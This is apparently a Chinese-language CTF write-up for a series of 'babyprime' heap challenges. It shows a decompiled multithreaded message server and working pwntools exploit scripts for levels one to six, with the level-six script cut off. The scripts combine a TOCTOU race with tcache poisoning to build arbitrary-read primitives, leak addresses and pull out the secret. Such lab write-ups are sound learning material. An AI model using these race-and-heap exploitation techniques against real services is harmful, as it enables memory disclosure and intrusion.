前言#

盲猜这章是 FSOP 综合利用，但是看到第一题就傻眼了。预知后事如何，请看 wp（

Level 1#

Information#

Category: Pwn

Description#

Create and use arbitrary read primitives to read from the .bss.

Write-up#

本来以为这章顶多就是 Heap + FSOP 综合利用，但是没想到是 Race Conditions + Heap + FSOP……没怎么做过 Race Condition 的我直接人傻了（

但是我又不想为此先去把 Race Conditions 那章做完，那咋办？忍了呗……相信自己的学习能力~~/自信~~

~~敲黑板，像这样详细的 wp 我大概只会写这一次，后面的题就简单说思路，不细写了。~~

首先是下面这个好像很熟悉实则不然的多线程服务器，不讲了（

不记得的去看我的笔记复习吧～~~其实我一开始也忘差不多了（bushi~~

直接跟进到核心函数：

1
int challenge()
2
{
3
  int result; // eax
4
  const char *v1; // rax
5
  int v2; // ebx
6
  char *s1_1; // rax
7
  int v4; // [rsp+2Ch] [rbp-424h] BYREF
8
  char s1[1032]; // [rsp+30h] [rbp-420h] BYREF
9
  unsigned __int64 v6; // [rsp+438h] [rbp-18h]
10

11
  v6 = __readfsqword(0x28u);
12
  fwrite("Welcome to the message server!\n", 1u, 0x1Fu, (FILE *)__readfsqword(0xFFFFFFF8));
13
  fwrite("Commands: malloc/free/scanf/printf/send_flag/quit.\n", 1u, 0x33u, (FILE *)__readfsqword(0xFFFFFFF8));
14
  while ( 1 )
15
  {
16
    result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%1024s", s1);
17
    if ( result == -1 )
18
      break;
19
    if ( !strcmp(s1, "printf") )
20
    {
21
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
22
      if ( result == -1 )
23
        return result;
24
      v1 = stored[v4] ? (const char *)*((_QWORD *)&messages + v4) : "NONE";
25
      result = fprintf((FILE *)__readfsqword(0xFFFFFFF8), "MESSAGE: %s\n", v1);
26
      if ( result < 0 )
27
        return result;
28
    }
29
    else if ( !strcmp(s1, "malloc") )
30
    {
31
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
32
      if ( result == -1 )
33
        return result;
34
      if ( !stored[v4] )
35
      {
36
        v2 = v4;
37
        *((_QWORD *)&messages + v2) = malloc(0x400u);
38
      }
39
      stored[v4] = 1;
40
    }
41
    else if ( !strcmp(s1, "scanf") )
42
    {
43
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
44
      if ( result == -1 )
45
        return result;
46
      if ( stored[v4] )
47
        s1_1 = (char *)*((_QWORD *)&messages + v4);
48
      else
49
        s1_1 = s1;
50
      __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%1024s", s1_1);
51
    }
52
    else if ( !strcmp(s1, "free") )
53
    {
54
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%d", &v4);
55
      if ( result == -1 )
56
        return result;
57
      if ( stored[v4] )
58
        free(*((void **)&messages + v4));
59
      stored[v4] = 0;
60
    }
61
    else if ( !strcmp(s1, "send_flag") )
62
    {
63
      fwrite("Secret: ", 1u, 8u, (FILE *)__readfsqword(0xFFFFFFF8));
64
      __isoc99_fscanf(__readfsqword(0xFFFFFFF0), "%1024s", s1);
65
      if ( (unsigned __int8)secret_correct(s1) )
66
      {
67
        fwrite("Authorized!\n", 1u, 0xCu, (FILE *)__readfsqword(0xFFFFFFF8));
68
        win();
69
      }
70
      else
71
      {
72
        fwrite("Not authorized!\n", 1u, 0x10u, (FILE *)__readfsqword(0xFFFFFFF8));
73
      }
74
    }
75
    else
76
    {
77
      result = strcmp(s1, "quit");
78
      if ( !result )
79
        return result;
80
      fwrite("Unrecognized choice!\n", 1u, 0x15u, (FILE *)__readfsqword(0xFFFFFFF8));
81
    }
82
  }
83
  return result;
84
}

咋一看还挺安全，没有溢出，没有 UAF，好像无懈可击的鸭子。

~~内心 OS: wth 第一题就这样恶心我！？那还学个屁，埋了吧（~~

好吧，稍微用心想想的话，其实还是有很大的问题的……注意，这是一个多线程服务器，允许我们创建无限的连接进行交互，但是程序在操作 stored 全局数组的时候操作并不是 atomic 的，也没有为其加锁，那那那，na 这不就存在一个潜在的 race condition 吗？并且在这种情况下可以归类为 Time-of-Check to Time-of-Use (TOCTOU) 型的条件竞争，因为在每次操作前都检查了 stored 数组然后才执行操作，检查和实际 action 之间有一个 tiny gap 可以被利用。最后，又因为 tcache 不检查 chunk metadata，所以接下来打一个 tcache poisoning 就可以任意读了。

其实我也不是完全不懂 race condition 的 xD，同样，忘记的可以看我笔记。

~~OK, 讲完了/逃 bro 现在凌晨三点，实在是不想写了，各位师傅还是直接看 exp 吧去感悟吧，反正像这种菜鸟题也没人看（~~

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    os,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", action="store_true")
17
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
18
args = parser.parse_args()
19

20

21
FILE = "/challenge/babyprime_level1.0"
22
HOST, PORT = "localhost", 1337
23

24
context(log_level="debug", binary=FILE, terminal="kitty")
25

26
elf = context.binary
27
libc = elf.libc
28

29

30
def printf(tid, idx):
31
    thread[tid].sendline(f"printf {idx}".encode())
32

33

34
def malloc(tid, idx):
35
    thread[tid].sendline(f"malloc {idx}".encode())
36

37

38
def scanf(tid, idx, content):
39
    thread[tid].sendline(f"scanf {idx} {content}".encode())
40

41

42
def free(tid, idx):
43
    thread[tid].sendline(f"free {idx}".encode())
44

45

46
def send_flag(tid, secret):
47
    thread[tid].sendline(b"send_flag")
48
    thread[tid].sendlineafter(b"Secret: ", secret)
49

50

51
def quit(tid):
52
    thread[tid].sendline(b"quit")
53

54

55
def arbitrary_read(addr):
56
    while True:
57
        thread[0].send((b"malloc 0 free 0\n") * 10000)
58
        if os.fork() == 0:
59
            thread[1].send((b"scanf 0" + flat(addr) + b"\n") * 10000)
60
            os.kill(os.getpid(), 9)
61
        os.wait()
62

63
        malloc(0, 0)
64
        printf(0, 0)
65
        thread[0].recvuntil(b"MESSAGE: ")
66
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
67

68
        if flat(poisoned) == flat(addr):
69
            break
70

71
    malloc(0, 1)
72
    printf(0, 1)
73

74
    thread[0].recvuntil(b"MESSAGE: ")
75
    return thread[0].recvline().strip()
76

77

78
def mangle(pos, ptr, shifted=1):
79
    if shifted:
80
        return pos ^ ptr
81
    return (pos >> 12) ^ ptr
82

83

84
def demangle(pos, ptr, shifted=1):
85
    if shifted:
86
        return mangle(pos, ptr)
87
    return mangle(pos, ptr, 0)
88

89

90
def launch():
91
    global target, thread
92

93
    if args.L and args.threads is not None:
94
        raise ValueError("Options -L and -T cannot be used together.")
95

96
    if args.L:
97
        target = process(FILE)
98
    elif args.threads:
99
        if args.threads <= 0:
100
            raise ValueError("Thread count must be positive.")
101
        process(FILE)
102

103
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
104
    else:
105
        target = remote(HOST, PORT, ssl=True)
106

107

108
def main():
109
    launch()
110

111
    malloc(0, 0)
112
    malloc(0, 1)
113
    free(0, 1)
114
    free(0, 0)
115
    malloc(0, 0)
116
    malloc(0, 1)
117

118
    printf(0, 0)
119
    thread[0].recvuntil(b"MESSAGE: ")
120
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
121

122
    printf(0, 1)
123
    thread[0].recvuntil(b"MESSAGE: ")
124
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
125
    heap = demangle(heap, pos)
126

127
    thread[0].success(f"pos: {hex(pos)}")
128
    thread[0].success(f"heap: {hex(heap)}")
129

130
    malloc(0, 0)
131
    malloc(0, 1)
132
    free(0, 1)
133
    free(0, 0)
134

135
    raw_input("DEBUG")
136
    secret = 0x4054C0
137
    secret = arbitrary_read(mangle(pos - 1, secret))
138

139
    send_flag(0, secret)
140
    quit(0)
141
    quit(1)
142

143
    thread[0].interactive()
144

145

146
if __name__ == "__main__":
147
    main()

Level 2#

Information#

Category: Pwn

Description#

Create and use arbitrary read primitives to read from a thread’s heap.

Write-up#

太简单不讲。

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    os,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", action="store_true")
17
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
18
args = parser.parse_args()
19

20

21
FILE = "/challenge/babyprime_level2.0"
22
HOST, PORT = "localhost", 1337
23

24
context(log_level="debug", binary=FILE, terminal="kitty")
25

26
elf = context.binary
27
libc = elf.libc
28

29

30
def printf(tid, idx):
31
    thread[tid].sendline(f"printf {idx}".encode())
32

33

34
def malloc(tid, idx):
35
    thread[tid].sendline(f"malloc {idx}".encode())
36

37

38
def scanf(tid, idx, content):
39
    thread[tid].sendline(f"scanf {idx} {content}".encode())
40

41

42
def free(tid, idx):
43
    thread[tid].sendline(f"free {idx}".encode())
44

45

46
def send_flag(tid, secret):
47
    thread[tid].sendline(b"send_flag")
48
    thread[tid].sendlineafter(b"Secret: ", secret)
49

50

51
def quit(tid):
52
    thread[tid].sendline(b"quit")
53

54

55
def arbitrary_read(addr):
56
    while True:
57
        thread[0].send((b"malloc 0 free 0\n") * 10000)
58
        if os.fork() == 0:
59
            thread[1].send((b"scanf 0" + flat(addr) + b"\n") * 10000)
60
            os.kill(os.getpid(), 9)
61
        os.wait()
62

63
        malloc(0, 0)
64
        printf(0, 0)
65
        thread[0].recvuntil(b"MESSAGE: ")
66
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
67

68
        if flat(poisoned) == flat(addr):
69
            break
70

71
    malloc(0, 1)
72
    printf(0, 1)
73

74
    thread[0].recvuntil(b"MESSAGE: ")
75
    return thread[0].recvline().strip()
76

77

78
def mangle(pos, ptr, shifted=1):
79
    if shifted:
80
        return pos ^ ptr
81
    return (pos >> 12) ^ ptr
82

83

84
def demangle(pos, ptr, shifted=1):
85
    if shifted:
86
        return mangle(pos, ptr)
87
    return mangle(pos, ptr, 0)
88

89

90
def launch():
91
    global target, thread
92

93
    if args.L and args.threads is not None:
94
        raise ValueError("Options -L and -T cannot be used together.")
95

96
    if args.L:
97
        target = process(FILE)
98
    elif args.threads:
99
        if args.threads <= 0:
100
            raise ValueError("Thread count must be positive.")
101
        process(FILE)
102

103
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
104
    else:
105
        target = remote(HOST, PORT, ssl=True)
106

107

108
def main():
109
    launch()
110

111
    malloc(0, 0)
112
    malloc(0, 1)
113
    free(0, 1)
114
    free(0, 0)
115
    malloc(0, 0)
116
    malloc(0, 1)
117

118
    printf(0, 0)
119
    thread[0].recvuntil(b"MESSAGE: ")
120
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
121

122
    printf(0, 1)
123
    thread[0].recvuntil(b"MESSAGE: ")
124
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
125
    heap = demangle(heap, pos)
126

127
    thread[0].success(f"pos: {hex(pos)}")
128
    thread[0].success(f"heap: {hex(heap)}")
129

130
    malloc(0, 0)
131
    malloc(0, 1)
132
    free(0, 1)
133
    free(0, 0)
134

135
    raw_input("DEBUG")
136
    secret = heap - 0x431
137
    secret = arbitrary_read(mangle(pos - 1, secret))
138
    thread[0].success(secret)
139

140
    send_flag(0, secret)
141
    quit(0)
142
    quit(1)
143

144
    thread[0].interactive()
145

146

147
if __name__ == "__main__":
148
    main()

Level 3#

Information#

Category: Pwn

Description#

Create and use arbitrary read primitives to read from a thread’s stack.

Write-up#

这次分配到线程栈上去了，线程栈和 libc 有固定偏移，所以弄到 libc 就知道栈地址了。

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    os,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", action="store_true")
17
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
18
args = parser.parse_args()
19

20

21
FILE = "/challenge/babyprime_level3.0"
22
HOST, PORT = "localhost", 1337
23

24
context(log_level="debug", binary=FILE, terminal="kitty")
25

26
elf = context.binary
27
libc = elf.libc
28

29

30
def printf(tid, idx):
31
    thread[tid].sendline(f"printf {idx}".encode())
32

33

34
def malloc(tid, idx):
35
    thread[tid].sendline(f"malloc {idx}".encode())
36

37

38
def scanf(tid, idx, content):
39
    thread[tid].sendline(f"scanf {idx} {content}".encode())
40

41

42
def free(tid, idx):
43
    thread[tid].sendline(f"free {idx}".encode())
44

45

46
def send_flag(tid, secret):
47
    thread[tid].sendline(b"send_flag")
48
    thread[tid].sendlineafter(b"Secret: ", secret)
49

50

51
def quit(tid):
52
    thread[tid].sendline(b"quit")
53

54

55
def arbitrary_read(poison_idx, result_idx, addr):
56
    while True:
57
        thread[0].send((f"malloc {poison_idx} free {poison_idx}\n".encode()) * 10000)
58
        if os.fork() == 0:
59
            thread[1].send(
60
                (f"scanf {poison_idx}".encode() + flat(addr) + b"\n") * 10000
61
            )
62
            os.kill(os.getpid(), 9)
63
        os.wait()
64

65
        malloc(0, poison_idx)
66
        printf(0, poison_idx)
67
        thread[0].recvuntil(b"MESSAGE: ")
68
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
69

70
        if flat(poisoned) == flat(addr):
71
            break
72

73
    malloc(0, result_idx)
74
    raw_input("DEBUG")
75
    printf(0, result_idx)
76

77
    thread[0].recvuntil(b"MESSAGE: ")
78
    return thread[0].recvline().strip()
79

80

81
def mangle(pos, ptr, shifted=1):
82
    if shifted:
83
        return pos ^ ptr
84
    return (pos >> 12) ^ ptr
85

86

87
def demangle(pos, ptr, shifted=1):
88
    if shifted:
89
        return mangle(pos, ptr)
90
    return mangle(pos, ptr, 0)
91

92

93
def launch():
94
    global target, thread
95

96
    if args.L and args.threads is not None:
97
        raise ValueError("Options -L and -T cannot be used together.")
98

99
    if args.L:
100
        target = process(FILE)
101
    elif args.threads:
102
        if args.threads <= 0:
103
            raise ValueError("Thread count must be positive.")
104
        process(FILE)
105

106
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
107
    else:
108
        target = remote(HOST, PORT, ssl=True)
109

110

111
def main():
112
    launch()
113

114
    malloc(0, 0)
115
    malloc(0, 1)
116
    free(0, 1)
117
    free(0, 0)
118
    malloc(0, 0)
119
    malloc(0, 1)
120

121
    printf(0, 0)
122
    thread[0].recvuntil(b"MESSAGE: ")
123
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
124

125
    printf(0, 1)
126
    thread[0].recvuntil(b"MESSAGE: ")
127
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
128
    heap = demangle(heap, pos)
129
    main_arena_ptr = heap - 0xAA1
130

131
    thread[0].success(f"pos: {hex(pos)}")
132
    thread[0].success(f"heap: {hex(heap)}")
133
    thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
134

135
    malloc(0, 0)
136
    malloc(0, 1)
137
    free(0, 1)
138
    free(0, 0)
139

140
    libc.address = (
141
        int.from_bytes(arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr)), "little")
142
        - 0x219C80
143
    )
144
    secret = libc.address - 0x4740
145

146
    thread[0].success(f"libc: {hex(libc.address)}")
147
    thread[0].success(f"secret: {hex(secret)}")
148

149
    malloc(0, 2)
150
    malloc(0, 4)
151
    free(0, 4)
152
    free(0, 2)
153

154
    raw_input("DEBUG")
155
    secret = arbitrary_read(2, 4, mangle(pos, secret))
156

157
    send_flag(0, secret)
158
    quit(0)
159
    quit(1)
160

161
    thread[0].interactive()
162

163

164
if __name__ == "__main__":
165
    main()

Level 4#

Information#

Category: Pwn

Description#

Create and use arbitrary read primitives to read from the .bss, now with PIE.

Write-up#

注意权限问题，p2p 是你的好朋友。好啦，尽情去寻找虚拟内存地址空间中那块属于你的，闪闪发光的垃圾吧～

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    os,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", action="store_true")
17
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
18
args = parser.parse_args()
19

20

21
FILE = "/challenge/babyprime_level4.0"
22
HOST, PORT = "localhost", 1337
23

24
context(log_level="debug", binary=FILE, terminal="kitty")
25

26
elf = context.binary
27
libc = elf.libc
28

29

30
def printf(tid, idx):
31
    thread[tid].sendline(f"printf {idx}".encode())
32

33

34
def malloc(tid, idx):
35
    thread[tid].sendline(f"malloc {idx}".encode())
36

37

38
def scanf(tid, idx, content):
39
    thread[tid].sendline(f"scanf {idx} {content}".encode())
40

41

42
def free(tid, idx):
43
    thread[tid].sendline(f"free {idx}".encode())
44

45

46
def send_flag(tid, secret):
47
    thread[tid].sendline(b"send_flag")
48
    thread[tid].sendlineafter(b"Secret: ", secret)
49

50

51
def quit(tid):
52
    thread[tid].sendline(b"quit")
53

54

55
def arbitrary_read(poison_idx, result_idx, addr):
56
    BAD_BYTES = {b"\x20", b"\x0c", b"\x0a", b"\x0d", b"\x09", b"\x0b"}
57

58
    packed_addr = flat(addr)
59
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
60
        raise ValueError(
61
            f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}"
62
        )
63

64
    while True:
65
        thread[0].send((f"malloc {poison_idx} free {poison_idx}\n".encode()) * 10000)
66
        if os.fork() == 0:
67
            thread[1].send(
68
                (f"scanf {poison_idx}".encode() + flat(addr) + b"\n") * 10000
69
            )
70
            os.kill(os.getpid(), 9)
71
        os.wait()
72

73
        malloc(0, poison_idx)
74
        printf(0, poison_idx)
75
        thread[0].recvuntil(b"MESSAGE: ")
76
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
77

78
        if flat(poisoned) == packed_addr:
79
            break
80

81
    raw_input("DEBUG")
82
    malloc(0, result_idx)
83
    printf(0, result_idx)
84

85
    thread[0].recvuntil(b"MESSAGE: ")
86
    return thread[0].recvline().strip()
87

88

89
def mangle(pos, ptr, shifted=1):
90
    if shifted:
91
        return pos ^ ptr
92
    return (pos >> 12) ^ ptr
93

94

95
def demangle(pos, ptr, shifted=1):
96
    if shifted:
97
        return mangle(pos, ptr)
98
    return mangle(pos, ptr, 0)
99

100

101
def launch():
102
    global target, thread
103

104
    if args.L and args.threads is not None:
105
        raise ValueError("Options -L and -T cannot be used together.")
106

107
    if args.L:
108
        target = process(FILE)
109
    elif args.threads:
110
        if args.threads <= 0:
111
            raise ValueError("Thread count must be positive.")
112
        process(FILE)
113

114
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
115
    else:
116
        target = remote(HOST, PORT, ssl=True)
117

118

119
def main():
120
    launch()
121

122
    malloc(0, 0)
123
    malloc(0, 1)
124
    free(0, 1)
125
    free(0, 0)
126
    malloc(0, 0)
127
    malloc(0, 1)
128

129
    printf(0, 0)
130
    thread[0].recvuntil(b"MESSAGE: ")
131
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
132

133
    printf(0, 1)
134
    thread[0].recvuntil(b"MESSAGE: ")
135
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
136
    heap = demangle(heap, pos)
137
    main_arena_ptr = heap - 0xAA1
138

139
    thread[0].success(f"pos: {hex(pos)}")
140
    thread[0].success(f"heap: {hex(heap)}")
141
    thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
142

143
    raw_input("DEBUG")
144
    malloc(0, 0)
145
    malloc(0, 1)
146
    free(0, 1)
147
    free(0, 0)
148

149
    libc.address = (
150
        int.from_bytes(arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr)), "little")
151
        - 0x219C80
152
    )
153
    ld_ptr = libc.address + 0x219010
154

155
    thread[0].success(f"libc: {hex(libc.address)}")
156
    thread[0].success(f"ld_ptr: {hex(ld_ptr)}")
157

158
    raw_input("DEBUG")
159
    malloc(0, 2)
160
    malloc(0, 4)
161
    free(0, 4)
162
    free(0, 2)
163

164
    ld = int.from_bytes(arbitrary_read(2, 4, mangle(pos, ld_ptr)), "little") - 0x15C60
165
    pie_ptr = ld + 0x3B2F0
166

167
    thread[0].success(f"ld: {hex(ld)}")
168
    thread[0].success(f"pie_ptr: {hex(pie_ptr)}")
169

170
    raw_input("DEBUG")
171
    malloc(0, 3)
172
    malloc(0, 5)
173
    free(0, 5)
174
    free(0, 3)
175

176
    elf.address = (
177
        int.from_bytes(arbitrary_read(3, 5, mangle(pos, pie_ptr)), "little") - 0x4CA8
178
    )
179
    secret_ptr = elf.address + 0x53C0
180

181
    thread[0].success(f"pie: {hex(elf.address)}")
182
    thread[0].success(f"secret: {hex(secret_ptr)}")
183

184
    raw_input("DEBUG")
185
    malloc(0, 6)
186
    malloc(0, 7)
187
    free(0, 7)
188
    free(0, 6)
189

190
    secret = arbitrary_read(6, 7, mangle(pos, secret_ptr + 0x3))
191

192
    send_flag(0, secret)
193
    quit(0)
194
    quit(1)
195

196
    thread[0].interactive()
197

198

199
if __name__ == "__main__":
200
    main()

Level 5#

Information#

Category: Pwn

Description#

Create and use arbitrary read primitives to read from the environment.

Write-up#

探索探索内存，探探探就出来了。

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    os,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", action="store_true")
17
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
18
args = parser.parse_args()
19

20

21
FILE = "/challenge/babyprime_level5.0"
22
HOST, PORT = "localhost", 1337
23

24
context(log_level="debug", binary=FILE, terminal="kitty")
25

26
elf = context.binary
27
libc = elf.libc
28

29

30
def printf(tid, idx):
31
    thread[tid].sendline(f"printf {idx}".encode())
32

33

34
def malloc(tid, idx):
35
    thread[tid].sendline(f"malloc {idx}".encode())
36

37

38
def scanf(tid, idx, content):
39
    thread[tid].sendline(f"scanf {idx} {content}".encode())
40

41

42
def free(tid, idx):
43
    thread[tid].sendline(f"free {idx}".encode())
44

45

46
def send_flag(tid, secret):
47
    thread[tid].sendline(b"send_flag")
48
    thread[tid].sendlineafter(b"Secret: ", secret)
49

50

51
def quit(tid):
52
    thread[tid].sendline(b"quit")
53

54

55
def arbitrary_read(poison_idx, result_idx, addr):
56
    BAD_BYTES = {b"\x20", b"\x0c", b"\x0a", b"\x0d", b"\x09", b"\x0b"}
57

58
    packed_addr = flat(addr)
59
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
60
        raise ValueError(
61
            f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}"
62
        )
63

64
    while True:
65
        thread[0].send((f"malloc {poison_idx} free {poison_idx}\n".encode()) * 10000)
66
        if os.fork() == 0:
67
            thread[1].send(
68
                (f"scanf {poison_idx}".encode() + flat(addr) + b"\n") * 10000
69
            )
70
            os.kill(os.getpid(), 9)
71
        os.wait()
72

73
        malloc(0, poison_idx)
74
        printf(0, poison_idx)
75
        thread[0].recvuntil(b"MESSAGE: ")
76
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
77

78
        if flat(poisoned) == packed_addr:
79
            break
80

81
    raw_input("DEBUG")
82
    malloc(0, result_idx)
83
    printf(0, result_idx)
84

85

86
def mangle(pos, ptr, shifted=1):
87
    if shifted:
88
        return pos ^ ptr
89
    return (pos >> 12) ^ ptr
90

91

92
def demangle(pos, ptr, shifted=1):
93
    if shifted:
94
        return mangle(pos, ptr)
95
    return mangle(pos, ptr, 0)
96

97

98
def launch():
99
    global target, thread
100

101
    if args.L and args.threads is not None:
102
        raise ValueError("Options -L and -T cannot be used together.")
103

104
    if args.L:
105
        target = process(FILE)
106
    elif args.threads:
107
        if args.threads <= 0:
108
            raise ValueError("Thread count must be positive.")
109
        process(FILE)
110

111
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
112
    else:
113
        target = remote(HOST, PORT, ssl=True)
114

115

116
def main():
117
    launch()
118

119
    malloc(0, 0)
120
    malloc(0, 1)
121
    free(0, 1)
122
    free(0, 0)
123
    malloc(0, 0)
124
    malloc(0, 1)
125

126
    printf(0, 0)
127
    thread[0].recvuntil(b"MESSAGE: ")
128
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
129

130
    printf(0, 1)
131
    thread[0].recvuntil(b"MESSAGE: ")
132
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
133
    heap = demangle(heap, pos)
134
    main_arena_ptr = heap - 0xAA1
135

136
    thread[0].success(f"pos: {hex(pos)}")
137
    thread[0].success(f"heap: {hex(heap)}")
138
    thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
139

140
    raw_input("DEBUG")
141
    malloc(0, 0)
142
    malloc(0, 1)
143
    free(0, 1)
144
    free(0, 0)
145

146
    arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
147
    thread[0].recvuntil(b"MESSAGE: ")
148
    libc.address = int.from_bytes(thread[0].recvline().strip(), "little") - 0x219C80
149
    known_values = libc.address + 0x21AEC0
150

151
    thread[0].success(f"libc: {hex(libc.address)}")
152
    thread[0].success(f"known_values: {hex(known_values)}")
153

154
    raw_input("DEBUG")
155
    malloc(0, 2)
156
    malloc(0, 4)
157
    free(0, 4)
158
    free(0, 2)
159

160
    arbitrary_read(2, 4, mangle(pos, known_values))
161
    thread[0].recvuntil(b"MESSAGE: ")
162
    secret = int.from_bytes(thread[0].recv(0x6), "little") - 0x30
163

164
    thread[0].success(f"secret: {hex(secret)}")
165

166
    raw_input("DEBUG")
167
    malloc(0, 3)
168
    malloc(0, 5)
169
    free(0, 5)
170
    free(0, 3)
171

172
    arbitrary_read(3, 5, mangle(pos, secret + 0x10))
173
    thread[0].recvuntil(b"MESSAGE: ")
174
    secret = thread[0].recvline().strip()
175

176
    thread[0].success(f"secret: {secret}")
177

178
    send_flag(0, secret)
179
    quit(0)
180
    quit(1)
181

182
    thread[0].interactive()
183

184

185
if __name__ == "__main__":
186
    main()

Level 6#

Information#

Category: Pwn

Description#

Create and use arbitrary read primitives to read from the main heap.

Write-up#

培养内存侦查大头兵 ing……

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    os,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", action="store_true")
17
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
18
args = parser.parse_args()
19

20

21
FILE = "/challenge/babyprime_level6.0"
22
HOST, PORT = "localhost", 1337
23

24
context(log_level="debug", binary=FILE, terminal="kitty")
25

26
elf = context.binary
27
libc = elf.libc
28

29

30
def printf(tid, idx):
31
    thread[tid].sendline(f"printf {idx}".encode())
32

33

34
def malloc(tid, idx):
35
    thread[tid].sendline(f"malloc {idx}".encode())
36

37

38
def scanf(tid, idx, content):
39
    thread[tid].sendline(f"scanf {idx} {content}".encode())
40

41

42
def free(tid, idx):
43
    thread[tid].sendline(f"free {idx}".encode())
44

45

46
def send_flag(tid, secret):
47
    thread[tid].sendline(b"send_flag")
48
    thread[tid].sendlineafter(b"Secret: ", secret)
49

50

51
def quit(tid):
52
    thread[tid].sendline(b"quit")
53

54

55
def arbitrary_read(poison_idx, result_idx, addr):
56
    BAD_BYTES = {b"\x20", b"\x0c", b"\x0a", b"\x0d", b"\x09", b"\x0b"}
57

58
    packed_addr = flat(addr)
59
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
60
        raise ValueError(
61
            f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}"
62
        )
63

64
    while True:
65
        thread[0].send((f"malloc {poison_idx} free {poison_idx}\n".encode()) * 10000)
66
        if os.fork() == 0:
67
            thread[1].send(
68
                (f"scanf {poison_idx}".encode() + flat(addr) + b"\n") * 10000
69
            )
70
            os.kill(os.getpid(), 9)
71
        os.wait()
72

73
        malloc(0, poison_idx)
74
        printf(0, poison_idx)
75
        thread[0].recvuntil(b"MESSAGE: ")
76
        poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
77

78
        if flat(poisoned) == packed_addr:
79
            break
80

81
    raw_input("DEBUG")
82
    malloc(0, result_idx)
83
    printf(0, result_idx)
84

85

86
def mangle(pos, ptr, shifted=1):
87
    if shifted:
88
        return pos ^ ptr
89
    return (pos >> 12) ^ ptr
90

91

92
def demangle(pos, ptr, shifted=1):
93
    if shifted:
94
        return mangle(pos, ptr)
95
    return mangle(pos, ptr, 0)
96

97

98
def launch():
99
    global target, thread
100

101
    if args.L and args.threads is not None:
102
        raise ValueError("Options -L and -T cannot be used together.")
103

104
    if args.L:
105
        target = process(FILE)
106
    elif args.threads:
107
        if args.threads <= 0:
108
            raise ValueError("Thread count must be positive.")
109
        process(FILE)
110

111
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
112
    else:
113
        target = remote(HOST, PORT, ssl=True)
114

115

116
def main():
117
    launch()
118

119
    malloc(0, 0)
120
    malloc(0, 1)
121
    free(0, 1)
122
    free(0, 0)
123
    malloc(0, 0)
124
    malloc(0, 1)
125

126
    printf(0, 0)
127
    thread[0].recvuntil(b"MESSAGE: ")
128
    heap = int.from_bytes(thread[0].recvline().strip(), "little")
129

130
    printf(0, 1)
131
    thread[0].recvuntil(b"MESSAGE: ")
132
    pos = int.from_bytes(thread[0].recvline().strip(), "little")
133
    heap = demangle(heap, pos)
134
    main_arena_ptr = heap - 0xAA1
135

136
    thread[0].success(f"pos: {hex(pos)}")
137
